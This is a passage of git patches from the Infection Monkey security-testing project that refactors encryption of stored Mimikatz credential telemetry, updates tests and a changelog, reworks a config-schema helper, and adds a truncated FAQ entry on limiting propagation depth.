| 0 .../models/utils/field_encryptors/__init__.py | 0 .../mimikatz_results_encryptor.py | 21 --------- .../blackbox/telemetry_blackbox_endpoint.py | 4 +- .../monkey_island/cc/resources/telemetry.py | 6 +-- .../cc/services/reporting/report.py | 4 +- monkey/monkey_island/cc/utils/__init__.py | 1 + .../dict_encryptor.py} | 2 +- .../cc/utils/field_encryptors/__init__.py | 3 ++ .../field_encryptors/i_field_encryptor.py | 0 .../mimikatz_results_encryptor.py | 34 ++++++++++++++ .../field_encryptors/string_list_encryptor.py | 2 +- ...lemetry_model.py => test_telemetry_dal.py} | 25 +++++----- .../cc/models/test_report_model.py | 4 +- .../test_string_list_encryptor.py | 2 +- .../cc/services/reporting/test_report.py | 17 ++++--- 20 files changed, 123 insertions(+), 104 deletions(-) create mode 100644 monkey/monkey_island/cc/models/telemetries/telemetry_dal.py delete mode 100644 monkey/monkey_island/cc/models/utils/__init__.py delete mode 100644 monkey/monkey_island/cc/models/utils/field_encryptors/__init__.py delete mode 100644 monkey/monkey_island/cc/models/utils/field_encryptors/mimikatz_results_encryptor.py create mode 100644 monkey/monkey_island/cc/utils/__init__.py rename monkey/monkey_island/cc/{models/utils/document_encryptor.py => utils/dict_encryptor.py} (93%) create mode 100644 monkey/monkey_island/cc/utils/field_encryptors/__init__.py rename monkey/monkey_island/cc/{models => }/utils/field_encryptors/i_field_encryptor.py (100%) create mode 100644 monkey/monkey_island/cc/utils/field_encryptors/mimikatz_results_encryptor.py rename monkey/monkey_island/cc/{models => }/utils/field_encryptors/string_list_encryptor.py (81%) rename monkey/tests/unit_tests/monkey_island/cc/models/telemetries/{test_telemetry_model.py => test_telemetry_dal.py} (74%) diff --git a/monkey/monkey_island/cc/models/report.py b/monkey/monkey_island/cc/models/report.py index fb1ab3cea..cbdde0dcb 100644 --- a/monkey/monkey_island/cc/models/report.py +++ b/monkey/monkey_island/cc/models/report.py @@ -3,9 +3,8 @@ from __future__ import annotations from bson import json_util from mongoengine import DictField, Document -from monkey_island.cc.models.utils import document_encryptor -from monkey_island.cc.models.utils.document_encryptor import SensitiveField -from monkey_island.cc.models.utils.field_encryptors.string_list_encryptor import StringListEncryptor +from monkey_island.cc.utils import SensitiveField, dict_encryptor +from monkey_island.cc.utils.field_encryptors import StringListEncryptor sensitive_fields = [ SensitiveField(path="overview.config_passwords", field_encryptor=StringListEncryptor) @@ -24,7 +23,7 @@ class Report(Document): @staticmethod def save_report(report_dict: dict): report_dict = _encode_dot_char_before_mongo_insert(report_dict) - report_dict = document_encryptor.encrypt(sensitive_fields, report_dict) + report_dict = dict_encryptor.encrypt(sensitive_fields, report_dict) Report.objects.delete() Report( overview=report_dict["overview"], @@ -37,7 +36,7 @@ class Report(Document): def get_report() -> dict: report_dict = Report.objects.first().to_mongo() return _decode_dot_char_before_mongo_insert( - document_encryptor.decrypt(sensitive_fields, report_dict) + dict_encryptor.decrypt(sensitive_fields, report_dict) ) diff --git a/monkey/monkey_island/cc/models/telemetries/__init__.py b/monkey/monkey_island/cc/models/telemetries/__init__.py index b3421bbd4..6c00785f7 100644 --- a/monkey/monkey_island/cc/models/telemetries/__init__.py +++ b/monkey/monkey_island/cc/models/telemetries/__init__.py @@ -1 +1 @@ -from .telemetry import Telemetry # noqa: F401 +from .telemetry_dal import save_telemetry, get_telemetry_by_query diff --git a/monkey/monkey_island/cc/models/telemetries/telemetry.py b/monkey/monkey_island/cc/models/telemetries/telemetry.py index 371484b85..3da3d2b10 100644 --- a/monkey/monkey_island/cc/models/telemetries/telemetry.py +++ b/monkey/monkey_island/cc/models/telemetries/telemetry.py @@ -1,21 +1,6 @@ -from __future__ import annotations - -from typing import List - from mongoengine import DateTimeField, Document, DynamicField, EmbeddedDocumentField, StringField -from monkey_island.cc.database import mongo from monkey_island.cc.models import CommandControlChannel -from monkey_island.cc.models.utils import document_encryptor -from monkey_island.cc.models.utils.document_encryptor import FieldNotFoundError, SensitiveField -from monkey_island.cc.models.utils.field_encryptors.mimikatz_results_encryptor import ( - MimikatzResultsEncryptor, -) - -sensitive_fields = [ - SensitiveField("data.credentials", MimikatzResultsEncryptor), - SensitiveField("data.mimikatz", MimikatzResultsEncryptor), -] class Telemetry(Document): @@ -27,33 +12,3 @@ class Telemetry(Document): command_control_channel = EmbeddedDocumentField(CommandControlChannel) meta = {"strict": False} - - @staticmethod - def save_telemetry(telemetry_dict: dict): - try: - telemetry_dict = document_encryptor.encrypt(sensitive_fields, telemetry_dict) - except FieldNotFoundError: - pass # Not all telemetries require encryption - - cc_channel = CommandControlChannel( - src=telemetry_dict["command_control_channel"]["src"], - dst=telemetry_dict["command_control_channel"]["dst"], - ) - Telemetry( - data=telemetry_dict["data"], - timestamp=telemetry_dict["timestamp"], - monkey_guid=telemetry_dict["monkey_guid"], - telem_category=telemetry_dict["telem_category"], - command_control_channel=cc_channel, - ).save() - - @staticmethod - def get_telemetry_by_query(query: dict, output_fields=None) -> List[dict]: - telemetries = mongo.db.telemetry.find(query, output_fields) - decrypted_list = [] - for telemetry in telemetries: - try: - decrypted_list.append(document_encryptor.decrypt(sensitive_fields, telemetry)) - except FieldNotFoundError: - decrypted_list.append(telemetry) - return decrypted_list diff --git a/monkey/monkey_island/cc/models/telemetries/telemetry_dal.py b/monkey/monkey_island/cc/models/telemetries/telemetry_dal.py new file mode 100644 index 000000000..88e617725 --- /dev/null +++ b/monkey/monkey_island/cc/models/telemetries/telemetry_dal.py @@ -0,0 +1,46 @@ +from __future__ import annotations + +from typing import List + +from monkey_island.cc.database import mongo +from monkey_island.cc.models import CommandControlChannel +from monkey_island.cc.models.telemetries.telemetry import Telemetry +from monkey_island.cc.utils import FieldNotFoundError, SensitiveField, dict_encryptor +from monkey_island.cc.utils.field_encryptors import MimikatzResultsEncryptor + +sensitive_fields = [ + SensitiveField("data.credentials", MimikatzResultsEncryptor), + SensitiveField("data.mimikatz", MimikatzResultsEncryptor), +] + + +def save_telemetry(telemetry_dict: dict): + try: + telemetry_dict = dict_encryptor.encrypt(sensitive_fields, telemetry_dict) + except FieldNotFoundError: + pass # Not all telemetries require encryption + + cc_channel = CommandControlChannel( + src=telemetry_dict["command_control_channel"]["src"], + dst=telemetry_dict["command_control_channel"]["dst"], + ) + Telemetry( + data=telemetry_dict["data"], + timestamp=telemetry_dict["timestamp"], + monkey_guid=telemetry_dict["monkey_guid"], + telem_category=telemetry_dict["telem_category"], + command_control_channel=cc_channel, + ).save() + + +# A lot of codebase is using queries for telemetry collection and document field encryption is +# not yet implemented in mongoengine. To avoid big time investment, queries are used for now. +def get_telemetry_by_query(query: dict, output_fields=None) -> List[dict]: + telemetries = mongo.db.telemetry.find(query, output_fields) + decrypted_list = [] + for telemetry in telemetries: + try: + decrypted_list.append(dict_encryptor.decrypt(sensitive_fields, telemetry)) + except FieldNotFoundError: + decrypted_list.append(telemetry) + return decrypted_list diff --git a/monkey/monkey_island/cc/models/utils/__init__.py b/monkey/monkey_island/cc/models/utils/__init__.py deleted file mode 100644 index e69de29bb..000000000 diff --git a/monkey/monkey_island/cc/models/utils/field_encryptors/__init__.py b/monkey/monkey_island/cc/models/utils/field_encryptors/__init__.py deleted file mode 100644 index e69de29bb..000000000 diff --git a/monkey/monkey_island/cc/models/utils/field_encryptors/mimikatz_results_encryptor.py b/monkey/monkey_island/cc/models/utils/field_encryptors/mimikatz_results_encryptor.py deleted file mode 100644 index c924a64e9..000000000 --- a/monkey/monkey_island/cc/models/utils/field_encryptors/mimikatz_results_encryptor.py +++ /dev/null @@ -1,21 +0,0 @@ -from monkey_island.cc.models.utils.field_encryptors.i_field_encryptor import IFieldEncryptor -from monkey_island.cc.server_utils.encryptor import get_encryptor - - -class MimikatzResultsEncryptor(IFieldEncryptor): - - secret_types = ["password", "ntlm_hash", "lm_hash"] - - @staticmethod - def encrypt(results: dict) -> dict: - for _, credentials in results.items(): - for secret_type in MimikatzResultsEncryptor.secret_types: - credentials[secret_type] = get_encryptor().enc(credentials[secret_type]) - return results - - @staticmethod - def decrypt(results: dict) -> dict: - for _, credentials in results.items(): - for secret_type in MimikatzResultsEncryptor.secret_types: - credentials[secret_type] = get_encryptor().dec(credentials[secret_type]) - return results diff --git a/monkey/monkey_island/cc/resources/blackbox/telemetry_blackbox_endpoint.py b/monkey/monkey_island/cc/resources/blackbox/telemetry_blackbox_endpoint.py index f784bc323..f1e958e3e 100644 --- a/monkey/monkey_island/cc/resources/blackbox/telemetry_blackbox_endpoint.py +++ b/monkey/monkey_island/cc/resources/blackbox/telemetry_blackbox_endpoint.py @@ -2,7 +2,7 @@ import flask_restful from bson import json_util from flask import request -from monkey_island.cc.models.telemetries import Telemetry +from monkey_island.cc.models.telemetries import get_telemetry_by_query from monkey_island.cc.resources.auth.auth import jwt_required @@ -10,4 +10,4 @@ class TelemetryBlackboxEndpoint(flask_restful.Resource): @jwt_required def get(self, **kw): find_query = json_util.loads(request.args.get("find_query")) - return {"results": list(Telemetry.get_telemetry_by_query(find_query))} + return {"results": list(get_telemetry_by_query(find_query))} diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 3ab2c1242..1158e82f0 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -9,7 +9,7 @@ from flask import request from common.common_consts.telem_categories import TelemCategoryEnum from monkey_island.cc.database import mongo from monkey_island.cc.models.monkey import Monkey -from monkey_island.cc.models.telemetries.telemetry import Telemetry as TelemetryModel +from monkey_island.cc.models.telemetries import get_telemetry_by_query, save_telemetry from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.resources.blackbox.utils.telem_store import TestTelemStore from monkey_island.cc.services.node import NodeService @@ -38,7 +38,7 @@ class Telemetry(flask_restful.Resource): find_filter["timestamp"] = {"$gt": dateutil.parser.parse(timestamp)} result["objects"] = self.telemetry_to_displayed_telemetry( - TelemetryModel.get_telemetry_by_query(query=find_filter) + get_telemetry_by_query(query=find_filter) ) return result @@ -61,7 +61,7 @@ class Telemetry(flask_restful.Resource): process_telemetry(telemetry_json) - TelemetryModel.save_telemetry(telemetry_json) + save_telemetry(telemetry_json) return {}, 201 diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index 32675f1d5..17e6ce037 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -15,7 +15,7 @@ from common.network.network_range import NetworkRange from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey, Report -from monkey_island.cc.models.telemetries import Telemetry +from monkey_island.cc.models.telemetries import get_telemetry_by_query from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.configuration.utils import ( get_config_network_segments_as_subnet_groups, @@ -166,7 +166,7 @@ class ReportService: @staticmethod def _get_credentials_from_system_info_telems(): formatted_creds = [] - for telem in Telemetry.get_telemetry_by_query( + for telem in get_telemetry_by_query( {"telem_category": "system_info", "data.credentials": {"$exists": True}}, {"data.credentials": 1, "monkey_guid": 1}, ): diff --git a/monkey/monkey_island/cc/utils/__init__.py b/monkey/monkey_island/cc/utils/__init__.py new file mode 100644 index 000000000..abe040645 --- /dev/null +++ b/monkey/monkey_island/cc/utils/__init__.py @@ -0,0 +1 @@ +from .dict_encryptor import FieldNotFoundError, SensitiveField diff --git a/monkey/monkey_island/cc/models/utils/document_encryptor.py b/monkey/monkey_island/cc/utils/dict_encryptor.py similarity index 93% rename from monkey/monkey_island/cc/models/utils/document_encryptor.py rename to monkey/monkey_island/cc/utils/dict_encryptor.py index afec95afa..9a6d1d3d0 100644 --- a/monkey/monkey_island/cc/models/utils/document_encryptor.py +++ b/monkey/monkey_island/cc/utils/dict_encryptor.py @@ -3,7 +3,7 @@ from typing import Callable, List, Type import dpath.util -from monkey_island.cc.models.utils.field_encryptors.i_field_encryptor import IFieldEncryptor +from monkey_island.cc.utils.field_encryptors import IFieldEncryptor class FieldNotFoundError(Exception): diff --git a/monkey/monkey_island/cc/utils/field_encryptors/__init__.py b/monkey/monkey_island/cc/utils/field_encryptors/__init__.py new file mode 100644 index 000000000..7c938d25b --- /dev/null +++ b/monkey/monkey_island/cc/utils/field_encryptors/__init__.py @@ -0,0 +1,3 @@ +from .i_field_encryptor import IFieldEncryptor +from .mimikatz_results_encryptor import MimikatzResultsEncryptor +from .string_list_encryptor import StringListEncryptor diff --git a/monkey/monkey_island/cc/models/utils/field_encryptors/i_field_encryptor.py b/monkey/monkey_island/cc/utils/field_encryptors/i_field_encryptor.py similarity index 100% rename from monkey/monkey_island/cc/models/utils/field_encryptors/i_field_encryptor.py rename to monkey/monkey_island/cc/utils/field_encryptors/i_field_encryptor.py diff --git a/monkey/monkey_island/cc/utils/field_encryptors/mimikatz_results_encryptor.py b/monkey/monkey_island/cc/utils/field_encryptors/mimikatz_results_encryptor.py new file mode 100644 index 000000000..6708ec40c --- /dev/null +++ b/monkey/monkey_island/cc/utils/field_encryptors/mimikatz_results_encryptor.py @@ -0,0 +1,34 @@ +import logging + +from monkey_island.cc.server_utils.encryption import get_datastore_encryptor +from monkey_island.cc.utils.field_encryptors import IFieldEncryptor + +logger = logging.getLogger(__name__) + + +class MimikatzResultsEncryptor(IFieldEncryptor): + + secret_types = ["password", "ntlm_hash", "lm_hash"] + + @staticmethod + def encrypt(results: dict) -> dict: + for _, credentials in results.items(): + for secret_type in MimikatzResultsEncryptor.secret_types: + try: + credentials[secret_type] = get_datastore_encryptor().enc( + credentials[secret_type] + ) + except ValueError as e: + logger.error( + f"Failed encrypting sensitive field for " + f"user {credentials['username']}! Error: {e}" + ) + credentials[secret_type] = get_datastore_encryptor().enc("") + return results + + @staticmethod + def decrypt(results: dict) -> dict: + for _, credentials in results.items(): + for secret_type in MimikatzResultsEncryptor.secret_types: + credentials[secret_type] = get_datastore_encryptor().dec(credentials[secret_type]) + return results diff --git a/monkey/monkey_island/cc/models/utils/field_encryptors/string_list_encryptor.py b/monkey/monkey_island/cc/utils/field_encryptors/string_list_encryptor.py similarity index 81% rename from monkey/monkey_island/cc/models/utils/field_encryptors/string_list_encryptor.py rename to monkey/monkey_island/cc/utils/field_encryptors/string_list_encryptor.py index 089155289..f939c0e22 100644 --- a/monkey/monkey_island/cc/models/utils/field_encryptors/string_list_encryptor.py +++ b/monkey/monkey_island/cc/utils/field_encryptors/string_list_encryptor.py @@ -1,7 +1,7 @@ from typing import List -from monkey_island.cc.models.utils.field_encryptors.i_field_encryptor import IFieldEncryptor from monkey_island.cc.server_utils.encryption import get_datastore_encryptor +from monkey_island.cc.utils.field_encryptors import IFieldEncryptor class StringListEncryptor(IFieldEncryptor): diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_model.py b/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_dal.py similarity index 74% rename from monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_model.py rename to monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_dal.py index 860ae05fb..f25e8ffb3 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_model.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/telemetries/test_telemetry_dal.py @@ -4,11 +4,10 @@ from datetime import datetime import mongoengine import pytest -from monkey_island.cc.models.telemetries import Telemetry -from monkey_island.cc.models.utils.document_encryptor import SensitiveField -from monkey_island.cc.models.utils.field_encryptors.mimikatz_results_encryptor import ( - MimikatzResultsEncryptor, -) +from monkey_island.cc.models.telemetries import get_telemetry_by_query, save_telemetry +from monkey_island.cc.models.telemetries.telemetry import Telemetry +from monkey_island.cc.utils import SensitiveField +from monkey_island.cc.utils.field_encryptors import MimikatzResultsEncryptor MOCK_CREDENTIALS = { "Vakaris": { @@ -57,7 +56,7 @@ MOCK_SENSITIVE_FIELDS = [ @pytest.fixture(autouse=True) def patch_sensitive_fields(monkeypatch): monkeypatch.setattr( - "monkey_island.cc.models.telemetries.telemetry.sensitive_fields", + "monkey_island.cc.models.telemetries.telemetry_dal.sensitive_fields", MOCK_SENSITIVE_FIELDS, ) @@ -65,13 +64,13 @@ def patch_sensitive_fields(monkeypatch): @pytest.fixture(autouse=True) def fake_mongo(monkeypatch): mongo = mongoengine.connection.get_connection() - monkeypatch.setattr("monkey_island.cc.models.telemetries.telemetry.mongo", mongo) + monkeypatch.setattr("monkey_island.cc.models.telemetries.telemetry_dal.mongo", mongo) @pytest.mark.usefixtures("uses_database", "uses_encryptor") -def test_telemetry_encryption(monkeypatch): +def test_telemetry_encryption(): - Telemetry.save_telemetry(MOCK_TELEMETRY) + save_telemetry(MOCK_TELEMETRY) assert ( not Telemetry.objects.first()["data"]["credentials"]["user"]["password"] == MOCK_CREDENTIALS["user"]["password"] @@ -81,16 +80,16 @@ def test_telemetry_encryption(monkeypatch): == MOCK_CREDENTIALS["Vakaris"]["ntlm_hash"] ) assert ( - Telemetry.get_telemetry_by_query({})[0]["data"]["credentials"]["user"]["password"] + get_telemetry_by_query({})[0]["data"]["credentials"]["user"]["password"] == MOCK_CREDENTIALS["user"]["password"] ) assert ( - Telemetry.get_telemetry_by_query({})[0]["data"]["mimikatz"]["Vakaris"]["ntlm_hash"] + get_telemetry_by_query({})[0]["data"]["mimikatz"]["Vakaris"]["ntlm_hash"] == MOCK_CREDENTIALS["Vakaris"]["ntlm_hash"] ) @pytest.mark.usefixtures("uses_database", "uses_encryptor") -def test_no_encryption_needed(monkeypatch, data_for_tests_dir): +def test_no_encryption_needed(): # Make sure telemetry save doesn't break when telemetry doesn't need encryption - Telemetry.save_telemetry(MOCK_NO_ENCRYPTION_NEEDED_TELEMETRY) + save_telemetry(MOCK_NO_ENCRYPTION_NEEDED_TELEMETRY) diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/test_report_model.py b/monkey/tests/unit_tests/monkey_island/cc/models/test_report_model.py index b88b7d0b0..0c8fd90de 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/models/test_report_model.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/test_report_model.py @@ -4,8 +4,8 @@ from typing import List import pytest from monkey_island.cc.models import Report -from monkey_island.cc.models.utils.document_encryptor import SensitiveField -from monkey_island.cc.models.utils.field_encryptors.i_field_encryptor import IFieldEncryptor +from monkey_island.cc.utils import SensitiveField +from monkey_island.cc.utils.field_encryptors import IFieldEncryptor MOCK_SENSITIVE_FIELD_CONTENTS = ["the_string", "the_string2"] MOCK_REPORT_DICT = { diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py index a93397392..ac46898c0 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py +++ b/monkey/tests/unit_tests/monkey_island/cc/models/utils/field_encryptors/test_string_list_encryptor.py @@ -1,7 +1,7 @@ import pytest -from monkey_island.cc.models.utils.field_encryptors.string_list_encryptor import StringListEncryptor from monkey_island.cc.server_utils.encryption import initialize_datastore_encryptor +from monkey_island.cc.utils.field_encryptors import StringListEncryptor MOCK_STRING_LIST = ["test_1", "test_2"] EMPTY_LIST = [] diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py index 9f845b263..6829965f2 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py @@ -5,7 +5,7 @@ import mongoengine import pytest from bson import ObjectId -from monkey_island.cc.models.telemetries import Telemetry +from monkey_island.cc.models.telemetries import save_telemetry from monkey_island.cc.services.reporting.report import ReportService TELEM_ID = { @@ -138,12 +138,13 @@ NODE_DICT_FAILED_EXPLOITS["exploits"][1]["result"] = False def fake_mongo(monkeypatch): mongo = mongoengine.connection.get_connection() monkeypatch.setattr("monkey_island.cc.services.reporting.report.mongo", mongo) - monkeypatch.setattr("monkey_island.cc.models.telemetries.telemetry.mongo", mongo) + monkeypatch.setattr("monkey_island.cc.models.telemetries.telemetry_dal.mongo", mongo) monkeypatch.setattr("monkey_island.cc.services.node.mongo", mongo) return mongo -def test_get_stolen_creds_exploit(fake_mongo, uses_database): +@pytest.mark.usefixtures("uses_database") +def test_get_stolen_creds_exploit(fake_mongo): fake_mongo.db.telemetry.insert_one(EXPLOIT_TELEMETRY_TELEM) stolen_creds_exploit = ReportService.get_stolen_creds() @@ -155,9 +156,10 @@ def test_get_stolen_creds_exploit(fake_mongo, uses_database): assert expected_stolen_creds_exploit == stolen_creds_exploit -def test_get_stolen_creds_system_info(fake_mongo, uses_database): +@pytest.mark.usefixtures("uses_database") +def test_get_stolen_creds_system_info(fake_mongo): fake_mongo.db.monkey.insert_one(MONKEY_TELEM) - Telemetry.save_telemetry(SYSTEM_INFO_TELEMETRY_TELEM) + save_telemetry(SYSTEM_INFO_TELEMETRY_TELEM) stolen_creds_system_info = ReportService.get_stolen_creds() expected_stolen_creds_system_info = [ @@ -169,9 +171,10 @@ def test_get_stolen_creds_system_info(fake_mongo, uses_database): assert expected_stolen_creds_system_info == stolen_creds_system_info -def test_get_stolen_creds_no_creds(fake_mongo, uses_database): +@pytest.mark.usefixtures("uses_database") +def test_get_stolen_creds_no_creds(fake_mongo): fake_mongo.db.monkey.insert_one(MONKEY_TELEM) - Telemetry.save_telemetry(NO_CREDS_TELEMETRY_TELEM) + save_telemetry(NO_CREDS_TELEMETRY_TELEM) stolen_creds_no_creds = ReportService.get_stolen_creds() expected_stolen_creds_no_creds = [] From 8b9973238e88dd187c167f3c4d7b00ab14e15d97 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 27 Sep 2021 16:59:11 +0300 Subject: [PATCH 238/454] Add CHANGELOG.md entry about fixed plaintext credentials in mongodb --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 2e603c37f..003d425c8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -41,6 +41,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Overlapping Guardicore logo in the landing page. #1441 - PBA table collapse in security report on data change. #1423 - Unsigned Windows agent binaries in Linux packages are now signed. #1444 +- Some of the gathered credentials no longer appear in database plaintext. #1454 ### Security - Generate a random password when creating a new user for CommunicateAsNewUser From afedde8c052543cf6e89a23f3c3f58bd99629e12 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 27 Sep 2021 20:20:04 +0530 Subject: [PATCH 239/454] island, tests: Pass schema as arg to generate reverse schema instead of generating reverse schema at runtime --- .../config_schema_per_attack_technique.py | 9 +--- ...test_config_schema_per_attack_technique.py | 53 +------------------ .../monkey_island/cc/services/conftest.py | 48 +++++++++++++++++ 3 files changed, 52 insertions(+), 58 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py b/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py index 61fcae807..4aeab0085 100644 --- a/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py +++ b/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py @@ -1,9 +1,7 @@ from typing import Dict, List -from monkey_island.cc.services.config_schema.config_schema import SCHEMA - -def get_config_schema_per_attack_technique() -> Dict[str, Dict[str, List[str]]]: +def get_config_schema_per_attack_technique(schema: Dict) -> Dict[str, Dict[str, List[str]]]: """ :return: dictionary mapping each attack technique to relevant config fields; example - { @@ -17,7 +15,7 @@ def get_config_schema_per_attack_technique() -> Dict[str, Dict[str, List[str]]]: """ reverse_schema = {} - definitions = SCHEMA["definitions"] + definitions = schema["definitions"] for definition in definitions: definition_type = definitions[definition]["title"] for field in definitions[definition]["anyOf"]: @@ -37,6 +35,3 @@ def _add_config_field_to_reverse_schema( reverse_schema[attack_technique].setdefault(definition_type, []).append(config_field) else: reverse_schema[attack_technique] = {definition_type: [config_field]} - - -CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE = get_config_schema_per_attack_technique() diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/config_schema/test_config_schema_per_attack_technique.py b/monkey/tests/unit_tests/monkey_island/cc/services/config_schema/test_config_schema_per_attack_technique.py index 2827fd302..bacdae5dd 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/config_schema/test_config_schema_per_attack_technique.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/config_schema/test_config_schema_per_attack_technique.py @@ -2,51 +2,6 @@ from monkey_island.cc.services.config_schema.config_schema_per_attack_technique get_config_schema_per_attack_technique, ) -FAKE_SCHEMA = { - "definitions": { - "definition_type_1": { - "title": "Definition Type 1", - "anyOf": [ - { - "title": "Config Option 1", - "attack_techniques": ["T0000", "T0001"], - }, - { - "title": "Config Option 2", - "attack_techniques": ["T0000"], - }, - { - "title": "Config Option 3", - "attack_techniques": [], - }, - { - "title": "Config Option 4", - }, - ], - }, - "definition_type_2": { - "title": "Definition Type 2", - "anyOf": [ - { - "title": "Config Option 5", - "attack_techniques": ["T0000", "T0001"], - }, - { - "title": "Config Option 6", - "attack_techniques": ["T0000"], - }, - { - "title": "Config Option 7", - "attack_techniques": [], - }, - { - "title": "Config Option 8", - }, - ], - }, - } -} - REVERSE_FAKE_SCHEMA = { "T0000": { "Definition Type 1": ["Config Option 1", "Config Option 2"], @@ -59,9 +14,5 @@ REVERSE_FAKE_SCHEMA = { } -def test_get_config_schema_per_attack_technique(monkeypatch): - monkeypatch.setattr( - "monkey_island.cc.services.config_schema.config_schema_per_attack_technique.SCHEMA", - FAKE_SCHEMA, - ) - assert get_config_schema_per_attack_technique() == REVERSE_FAKE_SCHEMA +def test_get_config_schema_per_attack_technique(monkeypatch, fake_schema): + assert get_config_schema_per_attack_technique(fake_schema) == REVERSE_FAKE_SCHEMA diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py index 7b56c0c13..b89be55f9 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py @@ -20,3 +20,51 @@ def config(monkeypatch, IPS, PORT): monkeypatch.setattr(Environment, "_ISLAND_PORT", PORT) config = ConfigService.get_default_config(True) return config + + +@pytest.fixture +def fake_schema(): + return { + "definitions": { + "definition_type_1": { + "title": "Definition Type 1", + "anyOf": [ + { + "title": "Config Option 1", + "attack_techniques": ["T0000", "T0001"], + }, + { + "title": "Config Option 2", + "attack_techniques": ["T0000"], + }, + { + "title": "Config Option 3", + "attack_techniques": [], + }, + { + "title": "Config Option 4", + }, + ], + }, + "definition_type_2": { + "title": "Definition Type 2", + "anyOf": [ + { + "title": "Config Option 5", + "attack_techniques": ["T0000", "T0001"], + }, + { + "title": "Config Option 6", + "attack_techniques": ["T0000"], + }, + { + "title": "Config Option 7", + "attack_techniques": [], + }, + { + "title": "Config Option 8", + }, + ], + }, + } + } From faef27a7d1ae552efa1e2d90c0b9da479e2fd7ca Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 27 Sep 2021 15:40:31 +0200 Subject: [PATCH 240/454] docs: Add faq for limiting monkey propagation --- docs/content/FAQ/_index.md | 37 ++++++++++++++++++ .../images/faq/propagation_depth_diagram.png | Bin 0 -> 173884 bytes 2 files changed, 37 insertions(+) create mode 100644 docs/static/images/faq/propagation_depth_diagram.png diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index aea686111..d2738ead1 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -26,6 +26,7 @@ Below are some of the most common questions we receive about the Infection Monke - [After I've set up Monkey Island, how can I execute the Infection Monkey?](#after-ive-set-up-monkey-island-how-can-i-execute-the-infection-monkey-agent) - [How can I make the Infection Monkey agents propagate “deeper” into the network?](#how-can-i-make-the-infection-monkey-agent-propagate-deeper-into-the-network) - [What if the report returns a blank screen?](#what-if-the-report-returns-a-blank-screen) +- [How can I limit Monkey's propagation through the network?](#how-can-i-limit-monkeys-propagation-through-the-network) - [How can I get involved with the project?](#how-can-i-get-involved-with-the-project) ## Where can I get the latest version of the Infection Monkey? @@ -224,6 +225,42 @@ This is sometimes caused when Monkey Island is installed with an old version of - **Linux**: First, uninstall the current version with `sudo apt uninstall mongodb` and then install the latest version using the [official MongoDB manual](https://docs.mongodb.com/manual/administration/install-community/). - **Windows**: First, remove the MongoDB binaries from the `monkey\monkey_island\bin\mongodb` folder. Download and install the latest version of MongoDB using the [official MongoDB manual](https://docs.mongodb.com/manual/administration/install-community/). After installation is complete, copy the files from the `C:\Program Files\MongoDB\Server\4.2\bin` folder to the `monkey\monkey_island\bin\mongodb folder`. Try to run the Monkey Island again and everything should work. +## How can I limit Monkey's propagation through the network? + +In order to limit Monkey's ability to propagate through the network you can: + +#### Set a propagation depth + +Setting a propagation depth means that the monkey will spread user-provided number of hops from patient zero. If we set +propagation depth to 1, the Monkey will spread only one hop from patient zero. Propagation depth does not limit the number of +devices, just the number of hops. + +- **Example**: Propagation depth is set to 2. Host A scans the network and finds host B, C, D and E. +Monkey successfully propagates from Host A to Host C. Since the propagation depth is 2. Monkey will pivot +from Host C, continue to scan the network and attempt to propagate machines. If Host C successfully breaches +Host E, it will not pivot further and it will not continue to attempt propagation. + +![What is propagation depth](/images/faq/propagation_depth_diagram.png "What is propagation depth") + + +#### Allow/Block IP list + +In `Monkey Configuration -> Network` we can specify how Monkey will scan the network. By default Monkey scans the entire subnet. +That can be changed by unchecking the `Local 